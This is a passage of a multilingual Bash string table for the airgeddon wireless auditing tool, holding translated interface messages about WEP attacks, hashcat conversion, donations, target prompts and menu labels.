IV (初始化向量) 在 airodump 捕获窗口中显示为 \"Data\"" arr["ENGLISH",433]="Some access points are not vulnerable to certain WEP attacks. Like for example the Chop-Chop attack, that only affects some of them" arr["SPANISH",433]="Algunos puntos de acceso no son vulnerables a ciertos ataques WEP. Como por ejemplo el ataque Chop-Chop, que solo afecta a algunos" arr["FRENCH",433]="Certains points d'accès ne sont pas vulnérables à certaines attaques WEP. Comme par example l'attaque Chop-Chop qui affecte seulement à certains Point d'Accès" arr["CATALAN",433]="Alguns punts d'accés no són vulnerables a certs atacs WEP. Com per exemple l'atac Chop-Chop, que només afecta alguns" arr["PORTUGUESE",433]="Alguns pontos de acesso não são vulneráveis a certos ataques WEP. Como por exemplo o ataque Chop-Chop, que só afeta alguns" arr["RUSSIAN",433]="Некоторые точки доступа не подвержены определенным атакам WEP. Например, атаке Chop-Chop подвержены только некоторые из них" arr["GREEK",433]="Ορισμένα σημεία πρόσβασης δεν είναι ευάλωτα σε ορισμένες επιθέσεις WEP. Για παράδειγμα η επίθεση Chop-Chop, επηρεάζει μόνο μερικά από αυτά" arr["ITALIAN",433]="Alcuni punti di accesso non sono vulnerabili a certi attacchi WEP. Come ad esempio l'attacco Chop-Chop, che colpisce solo alcuni" arr["POLISH",433]="Niektóre punkty dostępu nie są podatne na niektóre ataki WEP. Na przykład atak Chop-Chop, który dotyka tylko niektórych osób" arr["GERMAN",433]="Einige Access Points sind nicht anfällig für bestimmte WEP-Angriffe. Zum Beispiel der Chop-Chop-Angriff, der nur einige betrifft" arr["TURKISH",433]="Bazı erişim noktaları belirli WEP saldırılarına karşı savunmasız değildir. Örneğin Chop-Chop saldırısı gibi, sadece bazılarını etkiler" arr["ARABIC",433]="الذي يؤثر فقط على بعضها ، Chop-Chop معينة. مثل على سبيل المثال هجوم WEP بعض نقاط الوصول ليست عرضة لهجمات" arr["CHINESE",433]="部分 AP 不容易受到某些类型的 WEP 攻击。例如 Chop-Chop 攻击,它只会影响一些设备" arr["ENGLISH",434]="WEP \"All-in-One\" attack has been started. Press [Enter] key on this window to stop it" arr["SPANISH",434]="El ataque WEP \"Todo-en-Uno\" ha comenzado. Pulse la tecla [Enter] en esta ventana para pararlo" arr["FRENCH",434]="L'attaque WEP \"Tout-en-Un\" a commencé. Pressez la touche [Enter] dans cette console pour l'arrêter" arr["CATALAN",434]="L'atac WEP \"Tot-en-Un\" ha començat. Prem [Enter] a aquesta finestra per aturar-lo" arr["PORTUGUESE",434]="Ataque WEP \"Tudo-em-Um\" iniciado. Pressione a tecla [Enter] nesta janela para parar" arr["RUSSIAN",434]="Атака WEP \"Все-в-Одном\" началась. Для её остановки клавишу [Enter] в этом окне" arr["GREEK",434]="Η επίθεση WEP \"All-in-One\" έχει αρχίσει. Πατήστε το κουμπί [Enter] σε αυτό το παράθυρο για να την σταματήσετε" arr["ITALIAN",434]="L'attacco WEP \"Tutto-in-Uno\" è iniziato. Premere il tasto [Enter] in questa finestra per fermarlo" arr["POLISH",434]="Rozpoczął się atak WEP \"Wszystko-w-Jednym\". Naciśnij klawisz [Enter] w tym oknie, aby go zatrzymać" arr["GERMAN",434]="Der WEP-Angriff \"All-in-One\" hat begonnen. Drücken Sie die [Enter]-Taste in diesem Fenster, um sie zu stoppen" arr["TURKISH",434]="WEP \"Hepsi-bir-arada\" saldırı başlatıldı. Bunu durdurmak için bu pencerede [Enter] tuşuna basın" arr["ARABIC",434]="في هذه النافذة لإيقافه [Enter] اضغط على مفتاح .WEP \"All-in-One\" تم بدء هجوم" arr["CHINESE",434]="WEP \"All-in-One\" 攻击已经开始。在此窗口中按 [Enter] 键停止攻击" arr["ENGLISH",435]="Error trying to change interface mode. During the process the interface name must be changed, but it looks like you already have an interface occupying the name that would be needed (\${normal_color}\${desired_interface_name}\${red_color})" arr["SPANISH",435]="Error al intentar cambiar el modo de la interfaz. En el proceso el nombre de la interfaz cambia, pero parece que ya tienes una interfaz ocupando el nombre que se necesitaría (\${normal_color}\${desired_interface_name}\${red_color})" arr["FRENCH",435]="Une erreur est survenue lors de la tentative de changement du mode de l'interface. L'identifiant de l'interface est changé pendant le processus mais il semble que l'identifiant prévu n'est plus disponible car il est déjà utilisé par une autre interface (\${normal_color}\${desired_interface_name}\${red_color})" arr["CATALAN",435]="Error en intentar canviar el mode de la interfície. En el procés el nom de la interfície canvia, però sembla que ja tens una interfície ocupant el nom que es necessitaria (\${normal_color}\${desired_interface_name}\${red_color})" arr["PORTUGUESE",435]="Erro ao tentar alterar o modo da interface. No processo o nome da interface muda, mas parece que já há uma interface ocupando o mesmo nome (\${normal_color}\${desired_interface_name}\${red_color})" arr["RUSSIAN",435]="Ошибка при попытке изменить режим интерфейса. Во время этого процесса имя интерфейса должно быть изменено, но похоже, что у вас уже есть интерфейс, занимающий нужное имя (\${normal_color}\${desired_interface_name}\${red_color})" arr["GREEK",435]="Προέκυψε σφάλμα καθώς άλλαζε η κατάσταση της διεπαφής. Κατά τη διάρκεια της διαδικασίας, το όνομα της διεπαφής πρέπει να αλλάξει, αλλά φαίνεται ότι έχετε ήδη μια διεπαφή που έχει το όνομα που θα χρειαζόταν (\${normal_color}\${desired_interface_name}\${red_color})" arr["ITALIAN",435]="Errore cercando di cambiare la modalità dell'interfaccia. Nel processo il nome dell'interfaccia cambia, peró sembra che già disponi di un'interfaccia che usa il nome di cui avresti bisogno (\${normal_color}\${desired_interface_name}\${red_color})" arr["POLISH",435]="Wystąpił błąd podczas próby zmiany trybu interfejsu. Wymaga to zmiany jego nazwy, ale wygląda jednak na to, że masz już interfejs o nazwie, która będzie potrzebna (\${normal_color}\${desired_interface_name}\${red_color})" arr["GERMAN",435]="Fehler beim Versuch, den Modus des Interface zu ändern. Dabei ändert sich der Name des Interface, aber es scheint, dass Sie bereits ein Interface haben, das den Namen belegt, der benötigt ist (\${normal_color}\${desired_interface_name}\${red_color})" arr["TURKISH",435]="Arabirim modunu değiştirmeye çalışırken hata oluştu. İşlem sırasında arabirim adı değiştirilmeli, ancak gerekli olan adı taşıyan bir arabirime sahip olduğunuz anlaşılıyor (\${normal_color}\${desired_interface_name}\${red_color})" arr["ARABIC",435]="(\${normal_color}\${desired_interface_name}\${red_color}) خطأ في محاولة تغيير وضع الواجهة. أثناء العملية ، يجب تغيير اسم الواجهة ، ولكن يبدو أن لديك بالفعل واجهة تشغل الاسم المطلوب" arr["CHINESE",435]="尝试更改接口模式时出错。在此过程中,接口名称必须更改,但看起来您已经有一个接口占用了所需的名称 (\${normal_color}\${desired_interface_name}\${red_color})" arr["ENGLISH",436]="The hashcat version you have installed (\${hashcat_version}) is greater or equal than \${hashcat_hccapx_version} so you need to convert the capture files to \"hccapx\" format, airgeddon will do this automatically. To do this you need a converter that is not present on your system (hashcat-utils package), install it to be able to perform this attack" arr["SPANISH",436]="La versión de hashcat que tienes instalada (\${hashcat_version}) es igual o superior a la \${hashcat_hccapx_version} por lo que es necesario convertir los ficheros de captura a formato \"hccapx\", airgeddon lo hará automáticamente. Pero para ello hace falta un conversor que no está presente en tu sistema (paquete hashcat-utils), instálalo para poder realizar este ataque" arr["FRENCH",436]="La Version d'hashcat installée (\${hashcat_version}) est égale ou supérieure à la version \${hashcat_hccapx_version}. Il est nécessaire dans ce cas de convertir les captures au format \"hccapx\", ce que fera automatiquement airgeddon. Il faut pour cela un convertisseur qui n'est pas installé dans votre système (paquet hashcat-utils). Veuilez l'installer pour effectuer cette attaque" arr["CATALAN",436]="La versió de hashcat que tens instal·lada (\${hashcat_version}) és igual o superior a la \${hashcat_hccapx_version} pel que cal convertir els fitxers de captura a format \"hccapx\", airgeddon ho farà automàticament. Però per a això cal un convertidor que no està present al sistema (paquet hashcat-utils), instal·lal per poder realitzar aquest atac" arr["PORTUGUESE",436]="A versão do hashcat instalada (\${hashcat_version}) é maior ou igual a \${hashcat_hccapx_version}, portanto é necessário convertermos o arquivo de captura para o formato \"hccapx\", airgeddon fará isso automaticamente. Mas isso requer um conversor que não está instalado no seu sistema (pacote hashcat-utils), instale-o para realizar este ataque" arr["RUSSIAN",436]="Установленная версия hashcat (\${hashcat_version}) больше или равна \${hashcat_hccapx_version}, поэтому вам нужно конвертировать файлы захвата в формат \"hccapx\", airgeddon сделает это автоматически. Для этого вам нужен конвертер, которого нет в вашей системе (пакет hashcat-utils), установите его, чтобы иметь возможность выполнить эту атаку" arr["GREEK",436]="Η έκδοση του hashcat που έχετε εγκαταστήσει (\${hashcat_version}) είναι ίδια ή νεότερη από την έκδοση \${hashcat_hccapx_version}, άρα το airgeddon θα μετατρέψει τα αρχεία καταγραφής σε \"hccapx\" για να συνεχιστεί η διαδικασία. Για να επιτευχθεί αυτό χρειάζεστε ένα μετατροπέα που δεν υπάρχει στο σύστημά σας (περιέχεται στο πακέτο hashcat-utils), εγκαταστήστε το για να εκτελέσετε αυτήν την επίθεση" arr["ITALIAN",436]="La versione di hashcat installata (\${hashcat_version}) è uguale o superiore alla \${hashcat_hccapx_version} quindi è necessario convertire i file di acquisizione al formato \"hccapx\", airgeddon lo fará automaticamente. Peró questo richiede un convertitore che non è presente nel sistema (pacchetto hashcat-utils), installalo per eseguire questo attacco" arr["POLISH",436]="Zainstalowana wersja programu hashcat (\${hashcat_version}) jest równa lub większa niż \${hashcat_hccapx_version}, dlatego konieczne jest przekonwertowanie plików przechwytywania do formatu \"hccapx\", airgeddon zrobi to automatycznie. Do tego potrzebny jest konwerter, który nie jest obecny w systemie (pakiet hashcat-utils), zainstaluj go, aby móc wykonać ten atak" arr["GERMAN",436]="Ihre installierte hashcat-Version (\${hashcat_version}) ist gleich oder größer als \${hashcat_hccapx_version}. Daher ist es notwendig, die Capture-Dateien in das Format \"hccapx\" zu konvertieren. airgeddon macht das automatisch. Dafür benötigen Sie einen Konverter, der nicht in Ihrem System vorhanden ist (Paket hashcat-utils), installieren Sie es, um diesen Angriff ausführen zu können" arr["TURKISH",436]="Yüklediğiniz hashcat sürümü (\${hashcat_version}) \${hashcat_hccapx_version} boyutundan büyük ya da eşittir. Bu nedenle, yakalama dosyalarını \"hccapx\" biçimine dönüştürmeniz gerekir, bu nedenle airgeddon bunu otomatik olarak yapar. Bunu yapmak için sisteminizde mevcut olmayan bir dönüştürücüye ihtiyacınız vardır (hashcat-utils paketi), bu saldırıyı gerçekleştirebilmek için kurun" arr["ARABIC",436]="قم بتثبيته لتتمكن من تنفيذ هذا الهجوم ، (hashcat-utils package) بذلك تلقائيًا. للقيام بذلك ، تحتاج إلى محول غير موجود على نظامك airgeddon وسوف يقوم ، \"hccapx\" لذلك تحتاج إلى تحويل ملفات الالتقاط إلى تنسيق ،\${hashcat_hccapx_version} أكبر من أو يساوي (\${hashcat_version}) الذي قمت بتثبيته hashcat إصدار" arr["CHINESE",436]="您安装的 hashcat 版本 (\${hashcat_version}) 大于或等于 \${hashcat_hccapx_version} 因此您需要将捕获文件转换为 \"hccapx\" 格式,airgeddon 会自动执行此操作。为此,你需要安装一个转换器 (hashcat-utils 软件包),以便它能够执行此攻击" arr["ENGLISH",437]="If you enjoyed the script and found it useful, you can support the project by making a donation. Through PayPal (\${normal_color}\${mail}\${pink_color}) or sending a fraction of cryptocurrency (\${normal_color}Bitcoin, Ethereum, Litecoin...\${pink_color}). Any amount, no matter how small (1, 2, 5 $/€) is welcome. More information and direct links to do it at: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["SPANISH",437]="Si te gustó el script y te pareció útil, puedes apoyar el proyecto haciendo una donación. A través de PayPal (\${normal_color}\${mail}\${pink_color}) o enviando una fracción de criptomoneda (\${normal_color}Bitcoin, Ethereum, Litecoin...\${pink_color}). Cualquier cantidad por pequeña que sea (1, 2, 5 $/€) es bien recibida. Más información y enlaces directos para realizarla en: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["FRENCH",437]="Si le script vous a plus et que vous l'avez trouvé utile, vous pouvez soutenir le projet en faisant un don PayPal (\${normal_color}\${mail}\${pink_color}) ou en envoyant une fraction de crypto-monnaie (\${normal_color}Bitcoin, Ethereum, Litecoin...\${pink_color}). Toute contribution (1, 2, 5 $/€) est bienvenue. Pour faire un don allez à: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["CATALAN",437]="Si et va agradar el script i et va semblar útil, pots donar suport al projecte fent una donació. A través de PayPal (\${normal_color}\${mail}\${pink_color}) o enviant una fracció criptomoneda (\${normal_color}Bitcoin, Ethereum, Litecoin...\${pink_color}). Qualsevol quantitat per petita que sigui (1, 2, 5 $/€) és ben rebuda. Més informació i enllaços directes per a realitzar-la en: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["PORTUGUESE",437]="Se você gostou do script e o achou útil, apoie o projeto fazendo uma doação através: do PayPal (\${normal_color}\${mail}\${pink_color}) ou enviando uma fração de uma criptomoeda (\${normal_color}Bitcoin, Ethereum, Litecoin...\${pink_color}). Qualquer quantidade, mesmo pequena (1, 2, 5 $/€) é bem-vinda. Links diretos e de com realizar em: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["RUSSIAN",437]="Если вам понравилась эта программа и она оказался для вас полезной, вы можете поддержать проект, сделав пожертвование. Доступны переводы через PayPal (\${normal_color}\${mail}\${pink_color}) и криптовалюту (\${normal_color}Bitcoin, Ethereum, Litecoin...\${pink_color}). Приветствуется любая сумма, даже небольшая (1, 2, 5 $/€). Более подробную информацию и прямые ссылки можно получить по адресу: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["GREEK",437]="Εαν μείνατε ευχαριστημένοι από το script και το βρήκατε χρήσιμο, μπορείτε να υποστηρίξετε το project κάνοντας κάποια δωρεά. Μέσω PayPal (\${normal_color}\${mail}\${pink_color}) ή αποστέλλοντας κάποιο κλάσμα κρυπτονομίσματος (\${normal_color}Bitcoin, Ethereum, Litecoin...\${pink_color}). Είναι καλοδεχούμενο οποιοδήποτε ποσό (1, 2, 5 $/€), δεν έχει σημασία το πόσο λίγο μπορεί να είναι. Δίνονται περισσότερες πληροφορίες και links για να κάνετε δωρεά, στη διεύθυνση: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["ITALIAN",437]="Se ti è piaciuto lo script e l'hai trovato utile, puoi sostenere il progetto con una donazione. Attraverso PayPal (\${normal_color}\${mail}\${pink_color}) o inviando una frazione di criptovaluta (\${normal_color}Bitcoin, Ethereum, Litecoin...\${pink_color}). Qualsiasi importo per quanto piccolo (1, 2, 5 $/€) è ben accolto. Piú informazioni e collegamenti diretti per realizzarla in: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["POLISH",437]="Jeśli podobał Ci się ten skrypt i okazał się użyteczny, możesz poprzeć ten projekt, składając donację. Za pośrednictwem usługi PayPal (\${normal_color}\${mail}\${pink_color}) lub wysyłając ułamek kryptowaluty (\${normal_color}Bitcoin, Ethereum, Litecoin...\${pink_color}). Każda kwota, nawet malutka (1, 2, 5 $/€) będzie mile widziana. Więcej informacji i linki do donacji: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["GERMAN",437]="Wenn Ihnen das Skript gefallen hat und Sie es nützlich fanden, können Sie das Projekt mit einer Spende unterstützen. Durch PayPal (\${normal_color}\${mail}\${pink_color}) oder durch Senden eines Bruchteils der Kryptowährung (\${normal_color}Bitcoin, Ethereum, Litecoin...\${pink_color}). Jeder kleine Betrag (1, 2, 5 $/€) wird gut angenommen. Mehr Informationen und direkte Links, um es zu machen: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["TURKISH",437]="Senaryoyu beğendiyseniz ve yararlı bulduysanız, projeyi bağış yaparak destekleyebilirsiniz. PayPal (\${normal_color}\${mail}\${pink_color}) veya cryptocurrency'ın bir kısmını (\${normal_color}Bitcoin, Ethereum, Litecoin... \${pink_color}) göndererek. Ne kadar küçük olursa olsun, ne kadar küçük olursa olsun (1, 2, 5 $/€) kabul edilir. Bunu yapmak için daha fazla bilgi ve doğrudan bağlantı: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["ARABIC",437]="\${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct\${pink_color} :نرحب بأي مبلغ مهما كان صغيرا (1 ، 2 ، 5 دولارات / يورو). مزيد من المعلومات والروابط المباشرة للقيام بذلك على (\${normal_color}Bitcoin, Ethereum, Litecoin...\${pink_color}) أو إرسال جزء من العملة المشفرة (\${normal_color}\${mail}\${pink_color}) إذا كنت قد استمتعت بالبرنامج ووجدته مفيدًا ، فيمكنك دعم المشروع من خلال التبرع. من خلال\${normal_color}" arr["CHINESE",437]="如果您喜欢该脚本并发现它很有用,您可以通过捐赠来支持该项目。通过 PayPal (\${normal_color}\${mail}\${pink_color}) 或一点加密货币来付款 (\${normal_color}比特币、以太币、莱特币...\${pink_color}).欢迎任何金额,无论金额多少 (1、2、5 ¥/\$/€) 。更多信息和直接链接: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["ENGLISH",438]="We are looking for translators to other languages. If you want to see airgeddon in your native language and you also know english, contact us. More information at: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["SPANISH",438]="Buscamos traductores para otros idiomas. Si quieres ver airgeddon en tu lengua materna y además sabes inglés, contáctanos. Más información en: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["FRENCH",438]="Nous recherchons des traducteurs pour d'autres langues. Si vous voulez voir airgeddon dans votre langue maternelle et que vous connaissez l'anglais contactez-nous: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["CATALAN",438]="Busquem traductors per a altres idiomes. Si vols veure airgeddon en la teva llengua materna i més saps anglès, contacta'ns. Més informació a: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["PORTUGUESE",438]="Procuramos tradutores para outros idiomas. Se você quiser ver airgeddon em sua língua nativa e também sabe inglês, por favor contacte-nos. Mais informações: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["RUSSIAN",438]="Мы ищем переводчиков на другие языки. Если вы хотите увидеть airgeddon на своем родном языке, и вы знаете английский язык, пожалуйста, свяжитесь с нами. Дополнительная информация: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["GREEK",438]="Ψάχνουμε μεταφραστές για την υποστήριξη περισσότερων γλωσσών. Αν θέλετε να χρησιμοποιείτε το airgeddon στη μητρική σας γλώσσα, αλλά ξέρετε και αγγλικά, παρακαλούμε επικοινωνήστε μαζί μας. Περισσότερες πληροφορίες: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["ITALIAN",438]="Cerchiamo traduttori per le altre lingue. Se volete vedere airgeddon nella vostra lingua madre e conoscete anche l'inglese, non esitate a contattarci. Per maggiori informazioni: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["POLISH",438]="Szukamy tłumaczy na inne języki. Jeśli chcesz zobaczyć airgeddon w swoim ojczystym języku i znasz angielski, skontaktuj się z nami. Więcej informacji: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["GERMAN",438]="Wir suchen Übersetzer für andere Sprachen. Wenn Sie airgeddon in Ihrer Muttersprache sehen möchten, kontaktieren Sie uns. Weitere Informationen unter: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["TURKISH",438]="Diğer dillere tercümanlar arıyoruz. Eğer kendi dilinizde airgeddon görmek ve ayrıca ingilizce bilmek isterseniz, bize ulaşın. Daha fazla bilgi için: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["ARABIC",438]="\${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct\${pink_color} :بلغتك الأم وتعرف اللغة الإنجليزية أيضًا ، فاتصل بنا. مزيد من المعلومات على airgeddon نحن نبحث عن مترجمين للغات أخرى. إذا كنت تريد أن ترى\${normal_color}" arr["CHINESE",438]="我们正在寻找其他语言的翻译。如果您想以您的母语使用 airgeddon,并且您也懂英语,请联系我们。更多信息在: \${normal_color}\${urlgithub_wiki}/Contributing-&-Code-of-Conduct" arr["ENGLISH",439]="\${blue_color}You haven't selected any target or your target is not valid, you'll be prompted to input data manually. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",439]="\${blue_color}Se ha detectado que no tienes seleccionado ningún objetivo o su objetivo no es válido, se le pedirá que ingrese los datos manualmente. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",439]="\${blue_color}Vous n'avez sélectionné aucune cible ou votre cible n'est pas valide, vous serez invité à introduire les données manuellement. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",439]="\${blue_color}No heu seleccionat cap objectiu o el vostre objectiu no és vàlid, se us demanarà que introduïu dades manualment. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",439]="\${blue_color}Você não selecionou nenhum alvo ou seu alvo não é válido, insira os dados manualmente. \${green_color}Deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",439]="\${blue_color}Вы не выбрали цель или ваша цель недействительна, Вам будет предложено ввести данные вручную. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",439]="\${blue_color}Δεν έχετε επιλέξει κανέναν στόχο ή ο στόχος σας δεν είναι έγκυρος, θα σας ζητηθεί να εισαγάγετε δεδομένα χειροκίνητα. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",439]="\${blue_color}Non hai selezionato nessun target o il tuo target non è valido, ti verrà richiesto di inserire i dati manualmente. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",439]="\${blue_color}Nie wybrałeś żadnego celu lub cel jest nieprawidłowy. Zostaniesz poproszony o ręczne wprowadzenie danych. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",439]="\${blue_color}Sie haben kein Ziel ausgewählt oder Ihr Ziel ist ungültig. Sie werden aufgefordert, Daten manuell einzugeben. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",439]="\${blue_color}Hiçbir hedef seçmediniz veya hedefiniz geçerli değil, verileri manuel olarak girmeniz istenecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",439]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟ \${blue_color}.لم تقم بتحديد أي هدف أو أن هدفك غير صالح، سيُطلب منك إدخال البيانات يدويًا\${normal_color}" arr["CHINESE",439]="\${blue_color}您尚未选择任何目标或您的目标无效,将提示您手动输入数据。 \${green_color}是否继续? \${normal_color}\${visual_choice}" arr["ENGLISH",440]="Aircrack trophy file generated successfully at [\${normal_color}\${aircrackpotenteredpath}\${blue_color}]" arr["SPANISH",440]="Fichero de trofeo aircrack generado con éxito en [\${normal_color}\${aircrackpotenteredpath}\${blue_color}]" arr["FRENCH",440]="Le fichier trophée aircrack a bien été crée dans [\${normal_color}\${aircrackpotenteredpath}\${blue_color}]" arr["CATALAN",440]="Fitxer de trofeu aircrack generat amb èxit a [\${normal_color}\${aircrackpotenteredpath}\${blue_color}]" arr["PORTUGUESE",440]="Arquivo de troféu aircrack gerado com sucesso [\${normal_color}\${aircrackpotenteredpath}\${blue_color}]" arr["RUSSIAN",440]="Трофейный файл aircrack был успешно сгенерирован в [\${normal_color}\${aircrackpotenteredpath}\${blue_color}]" arr["GREEK",440]="Το aircrack αρχείο τρόπαιο δημιουργήθηκε επιτυχώς [\${normal_color}\${aircrackpotenteredpath}\${blue_color}]" arr["ITALIAN",440]="Il file trofeo di aircrack è stato generato con successo in [\${normal_color}\${aircrackpotenteredpath}\${blue_color}]" arr["POLISH",440]="Plik trofeum aircrack został pomyślnie wygenerowany w [\${normal_color}\${aircrackpotenteredpath}\${blue_color}]" arr["GERMAN",440]="Aircrack-Trophäendatei erfolgreich erstellt in [\${normal_color}\${aircrackpotenteredpath}\${blue_color}]" arr["TURKISH",440]="Aircrack kupa dosyası başarıyla oluşturuldu [\${normal_color}\${aircrackpotenteredpath}\${blue_color}]" arr["ARABIC",440]="[\${normal_color}\${aircrackpotenteredpath}\${blue_color}] بنجاح في Aircrack trophy تم إنشاء ملف" arr["CHINESE",440]="在 [\${normal_color}\${aircrackpotenteredpath}\${blue_color}] 成功生成 Aircrack 密码文件" arr["ENGLISH",441]="Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${aircrack_potpath}]" arr["SPANISH",441]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${aircrack_potpath}]" arr["FRENCH",441]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur [Enter] pour utiliser le chemin proposé \${normal_color}[\${aircrack_potpath}]" arr["CATALAN",441]="Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${aircrack_potpath}]" arr["PORTUGUESE",441]="Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão \${normal_color}[\${aircrack_potpath}]" arr["RUSSIAN",441]="Напечатайте путь к сохранённому файлу или нажмите [Enter] для принятия предложения по умолчанию \${normal_color}[\${aircrack_potpath}]" arr["GREEK",441]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${aircrack_potpath}]" arr["ITALIAN",441]="Immettere il percorso dove memorizzare il file o premere [Enter] per accettare quello proposto di default \${normal_color}[\${aircrack_potpath}]" arr["POLISH",441]="Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${aircrack_potpath}]" arr["GERMAN",441]="Schreiben Sie den Pfad, unter dem die Datei gespeichert werden soll, oder drücken Sie die [Enter]-Taste, um den Standardvorschlag zu akzeptieren \${normal_color}[\${aircrack_potpath}]" arr["TURKISH",441]="Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın \${normal_color}[\${aircrack_potpath}]" arr["ARABIC",441]="\${normal_color}[\${aircrack_potpath}]\${green_color} لقبول الاقتراح [Enter] اكتب المسار لتخزين الملف أو اضغط على\${normal_color}" arr["CHINESE",441]="输入密码文件的存储路径或按 [Enter] 接受默认路径 \${normal_color}[\${aircrack_potpath}]" arr["ENGLISH",442]="If you install ccze you'll see some parts of airgeddon in a colorized way with better aspect. It's not a requirement or a dependency, but it will improve the user experience" arr["SPANISH",442]="Si instalas el paquete ccze podrás ver algunas partes de airgeddon colorizadas y con mejor aspecto. No es un requerimiento ni una dependencia, pero mejorará la experiencia de usuario" arr["FRENCH",442]="L'installation du paquet ccze améliore le rendu graphique d'airgeddon. Ce n'est pas un prérequis mais un petit plus pour rendre l’utilisation d'airgeddon plus agréable" arr["CATALAN",442]="Si instal·les el paquet ccze podràs veure algunes parts de airgeddon coloriçades i amb millor aspecte. No és un requeriment ni una dependència, però millorarà l'experiència d'usuari" arr["PORTUGUESE",442]="Se você instalar o pacote ccze poderá ver algumas partes do airgeddon coloridas e mais bonitas. Não é uma exigência nem uma dependência, mas melhora a experiência do usuário" arr["RUSSIAN",442]="Если вы установите ccze, то некоторые цветные элементы airgeddon будут выглядеть лучше. Это не требование или зависимость, но это улучшит работу пользователя" arr["GREEK",442]="Αν εγκαταστήσετε το ccze θα δείτε μερικά κομμάτια του airgeddon, πολύχρωμα με καλύτερη εμφάνιση. Δεν είναι απαραίτητο dependency, αλλά θα βελτιώσει την εμπειρία του χρήστη" arr["ITALIAN",442]="Se installi il pacchetto ccze vedrai alcune parti di airgeddon colorate e più belle. Non è un requisito né una dipendenza, ma migliorerà l'esperienza dell'utente" arr["POLISH",442]="Jeśli zainstalujesz pakiet ccze, zobaczysz niektóre części airgeddon kolorowe i lepiej wygladajce. Nie jest to wymóg ani zależność, ale poprawi to komfort użytkowania" arr["GERMAN",442]="Wenn Sie das ccze-Paket installieren, sehen Sie einige Teile von airgeddon gefärbt und besser aussehend. Es ist keine Voraussetzung oder eine Abhängigkeit, aber es wird die Benutzererfahrung verbessern" arr["TURKISH",442]="Eğer ccze'yi kurarsanız, daha iyi bir yönü olan renkli bir şekilde airgeddon'un bazı kısımlarını göreceksiniz. Bu bir gereksinim veya bağımlılık değil, ancak kullanıcı deneyimini geliştirecek" arr["ARABIC",442]="بطريقة ملونة مع جانب أفضل. انها ليست شرطا أو تبعية، ولكنها سوف تحسين تجربة المستخدم airgeddon فسترى بعض أجزاء ،ccze إذا قمت بتثبيت" arr["CHINESE",442]="如果你安装 ccze,你会看到 airgeddon 的某些部分以彩色的方式呈现更好的外观。这不是要求或依赖项,但会改善用户体验" arr["ENGLISH",443]="Options and language menu" arr["SPANISH",443]="Menú de opciones e idioma" arr["FRENCH",443]="Menu options et langues" arr["CATALAN",443]="Menú d'opcions i idioma" arr["PORTUGUESE",443]="Opções de menu e idioma" arr["RUSSIAN",443]="Настройки и языковое меню" arr["GREEK",443]="Μενού επιλογών και γλώσσας" arr["ITALIAN",443]="Menú opzioni e lingua" arr["POLISH",443]="Opcje i menu językowe" arr["GERMAN",443]="Optionen und Sprachmenü" arr["TURKISH",443]="Ayarlar ve dil menüsü" arr["ARABIC",443]="الخيارات وقائمة اللغة" arr["CHINESE",443]="脚本设置和语言菜单" arr["ENGLISH",444]="13. Options and language menu" arr["SPANISH",444]="13. Menú de opciones e idioma" arr["FRENCH",444]="13. Menu options et langues" arr["CATALAN",444]="13. Menú d'opcions i idioma" arr["PORTUGUESE",444]="13. Opções de menu 